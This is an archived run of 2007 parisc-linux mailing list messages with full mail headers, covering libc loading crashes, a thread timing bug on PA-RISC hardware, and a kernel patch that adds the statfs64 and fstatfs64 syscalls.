UP mode.  Will see about SMP mode.

The memory corruption is very limited and appears to occur in the
initial phase of loading libc.  It's happened twice while the echo
command tried to generate a file list building libjava.  Tens of
thousands of other applications have been launched successfully.
Probably, a lot more applications would die if memory corruption
was rampant.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 23:56:41 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200702200456.l1K4ufdN020072__43859.0582497001$1416624307$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702192022pd57d4deibd2c919cd86e1177@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624307 23000 80.91.229.3 (22 Nov 2014 02:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:07 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2007 04:56:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 20 Feb 2007 05:56:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2397C7DC67;
	Mon, 19 Feb 2007 21:56:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18493-03; Mon, 19 Feb 2007 21:56:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 058267DC68;
	Mon, 19 Feb 2007 21:56:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E3EF7DC66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:56:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18241-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:56:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CA19E7DC65
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:56:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1K4uftO020076;
	Mon, 19 Feb 2007 23:56:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1K4ufdN020072;
	Mon, 19 Feb 2007 23:56:41 -0500 (EST)
In-Reply-To: <119aab440702192022pd57d4deibd2c919cd86e1177@mail.gmail.com> from
	"Carlos O'Donell" at Feb 19, 2007 11:22:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oU3odlBcPTRts+jGPjIwkcAxc2tpZMsy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24382

> I posted a testcase here that always crashes the kernel:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031250.html
> 
> I'm trying to build my kernel with debugging but my current
> configuration doesn't boot.

Yes, this testcase is obviously excellent progress toward understanding
this bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Tue, 20 Feb 2007 09:57:17 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200702201457.l1KEvJl7009796__6811.11481176249$1416624307$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702192113ta4d23d7hffde41cf0e5a614@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624307 23004 80.91.229.3 (22 Nov 2014 02:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:07 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2007 14:58:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 20 Feb 2007 15:58:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F89B7DC2D;
	Tue, 20 Feb 2007 07:58:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23831-09; Tue, 20 Feb 2007 07:58:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 072DB7DC2E;
	Tue, 20 Feb 2007 07:58:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EFAF7DC2C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 07:58:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23888-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 07:58:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5DF367DC2A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 07:58:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca ([127.0.0.1])
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1KEwGfo009853
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 09:58:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1KEvJl7009796;
	Tue, 20 Feb 2007 09:57:19 -0500 (EST)
In-Reply-To: <119aab440702192113ta4d23d7hffde41cf0e5a614@mail.gmail.com> from
	"Carlos O'Donell" at Feb 20, 2007 00:13:51 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8WizCC99bHIy4q3NNjQ0KoEqJihyapB4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24383

> Out of curiosity did the space registers match between the core dump
> and the user fault printed by the kernel?

Yes.  One thing that I noticed is the illegal instruction kernel
printout lacks a header like the following:

Feb 19 00:22:42 localhost kernel: do_page_fault() pid=4255 command='ld' type=15
address=0x006cb040
Feb 19 00:22:42 localhost kernel: vm_start = 0x0007c000, vm_end = 0x001f4000

So, the cause of the printout isn't clear.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Tue, 20 Feb 2007 18:06:58 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <20070220180658.ce5ce5ba.gmsoft__32032.9042188407$1416624308$gmane$org@gentoo.org>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
	<20070212153731.846e2ad3.gmsoft@gentoo.org>
	<20070217160642.GC2880@athena.road.mcmartin.ca>
	<119aab440702181911t32a25761t8bf1f2306376595d@mail.gmail.com>
	<20070219031627.GA28109@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Tue__20_Feb_2007_18_06_58_+0100_BK3LTC=uCclzkv7T"
X-Trace: ger.gmane.org 1416624308 23007 80.91.229.3 (22 Nov 2014 02:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2007 17:07:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 20 Feb 2007 18:07:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A6337DC38;
	Tue, 20 Feb 2007 10:07:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25108-02; Tue, 20 Feb 2007 10:07:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FB147DC28;
	Tue, 20 Feb 2007 10:07:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 655527DC21
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 10:07:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24729-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 10:07:02 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 770587DC08
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 10:07:02 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 6DEB2EB8E9; Tue, 20 Feb 2007 18:07:01 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id D41B22FD37; Tue, 20 Feb 2007 18:06:59 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HJYSA-0006Va-Vz; Tue, 20 Feb 2007 18:06:59 +0100
In-Reply-To: <20070219031627.GA28109@athena.road.mcmartin.ca>
X-Mailer: Sylpheed 2.3.0 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: j2y9L3xqaHI+4aWnKSUlRVFqamdhZATL
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24384

This is a multi-part message in MIME format.

--Multipart=_Tue__20_Feb_2007_18_06_58_+0100_BK3LTC=uCclzkv7T
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Kyle,

Here is the proper patch with Signed-off-by.

Cheers,
  Guy


On Sun, 18 Feb 2007 22:16:27 -0500
Kyle McMartin <kyle@mcmartin.ca> wrote:

> On Sun, Feb 18, 2007 at 10:11:13PM -0500, Carlos O'Donell wrote:
> > >>  #define __NR_Linux_syscalls     298
> > 
> > You also forgot to update the total syscall count.
> > 
> 
> I fixed that one for him. ;-)


-- 
Guy Martin
Gentoo Linux - HPPA port lead

--Multipart=_Tue__20_Feb_2007_18_06_58_+0100_BK3LTC=uCclzkv7T
Content-Type: text/x-patch;
 name="statfs-syscalls.diff"
Content-Disposition: attachment;
 filename="statfs-syscalls.diff"
Content-Transfer-Encoding: 7bit

Add missing statfs64 and fstatfs64 to parisc.

Signed-off-by: Guy Martion <gmsoft@tuxicoman.be>

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 5114666..7d665de 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -403,5 +403,7 @@
 	ENTRY_COMP(move_pages)		/* 295 */
 	ENTRY_SAME(getcpu)
 	ENTRY_SAME(epoll_pwait)
+	ENTRY_COMP(statfs64)
+	ENTRY_COMP(fstatfs64)
 	/* Nothing yet */
 
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index 7c1bb8b..5513bdf 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -790,8 +790,10 @@
 #define __NR_move_pages		(__NR_Linux + 295)
 #define __NR_getcpu		(__NR_Linux + 296)
 #define __NR_epoll_pwait	(__NR_Linux + 297)
+#define __NR_statfs64		(__NR_Linux + 298)
+#define __NR_fstatfs64		(__NR_Linux + 299)
 
-#define __NR_Linux_syscalls     298
+#define __NR_Linux_syscalls     300
 
 #define HPUX_GATEWAY_ADDR       0xC0000004
 #define LINUX_GATEWAY_ADDR      0x100

--Multipart=_Tue__20_Feb_2007_18_06_58_+0100_BK3LTC=uCclzkv7T
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Tue__20_Feb_2007_18_06_58_+0100_BK3LTC=uCclzkv7T--



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 23:08:14 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200702200408.l1K48FOe013501__46973.9035972909$1416624308$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702191908r773a00capade2bc7ec19c4160@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624308 23014 80.91.229.3 (22 Nov 2014 02:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:08 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2007 04:08:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 20 Feb 2007 05:08:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B3157DC48;
	Mon, 19 Feb 2007 21:08:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17550-10; Mon, 19 Feb 2007 21:08:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC7B97DC49;
	Mon, 19 Feb 2007 21:08:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 209D27DC47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:08:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17634-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:08:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5EC837DC44
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:08:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1K48Frq013502;
	Mon, 19 Feb 2007 23:08:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1K48FOe013501;
	Mon, 19 Feb 2007 23:08:15 -0500 (EST)
In-Reply-To: <119aab440702191908r773a00capade2bc7ec19c4160@mail.gmail.com>
	from "Carlos O'Donell" at Feb 19, 2007 10:08:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BEPvcRAsTiEt/ayUaGRwT5R1ZUVSRNce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24385

> On 2/19/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > > John, what's the fastest non-PA8800 machine you have right now? Would a dual
> > > 750MHz j6700 help you?
> >
> > c3750 (875 MHz).  This one is is subject to the thread timing bug.
> 
> What is the "thread timing bug"?

http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/030969.html

I presume this is the same bug as you reported here:
http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031200.html

In the java case, the tests that fail are always thread intensive.
I should note that when a test times out in the gcc testsuite (other
than in the acats suite), expect tries to kill off the processes
that have timed out.  Yet, sometimes the processes survive and killing
the initial process causes a system crash.  Also, the system often
fails to reboot when it panics.

There's some timing aspect to this bug.  I have the strong impression
that it occurs mainly on fast processors.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Wed, 21 Feb 2007 00:40:12 -0500
Organization: wh0rd.org
Lines: 67
Approved: news@gmane.org
Message-ID: <200702210040.13682.vapier__15034.0830012739$1416624308$gmane$org@gentoo.org>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0391425991=="
X-Trace: ger.gmane.org 1416624308 23018 80.91.229.3 (22 Nov 2014 02:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2007 05:39:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 21 Feb 2007 06:39:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33ED27DC53;
	Tue, 20 Feb 2007 22:39:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31441-04; Tue, 20 Feb 2007 22:39:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E28917DC57;
	Tue, 20 Feb 2007 22:39:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 907697DC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 22:39:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30393-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 22:39:31 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id C3AA37DC3F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Feb 2007 22:39:31 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id DA38F6426D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Feb 2007 05:39:24 +0000 (UTC)
Original-Received: (qmail 31249 invoked from network); 21 Feb 2007 00:30:58 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 21 Feb 2007 00:30:58 -0500
User-Agent: KMail/1.9.6
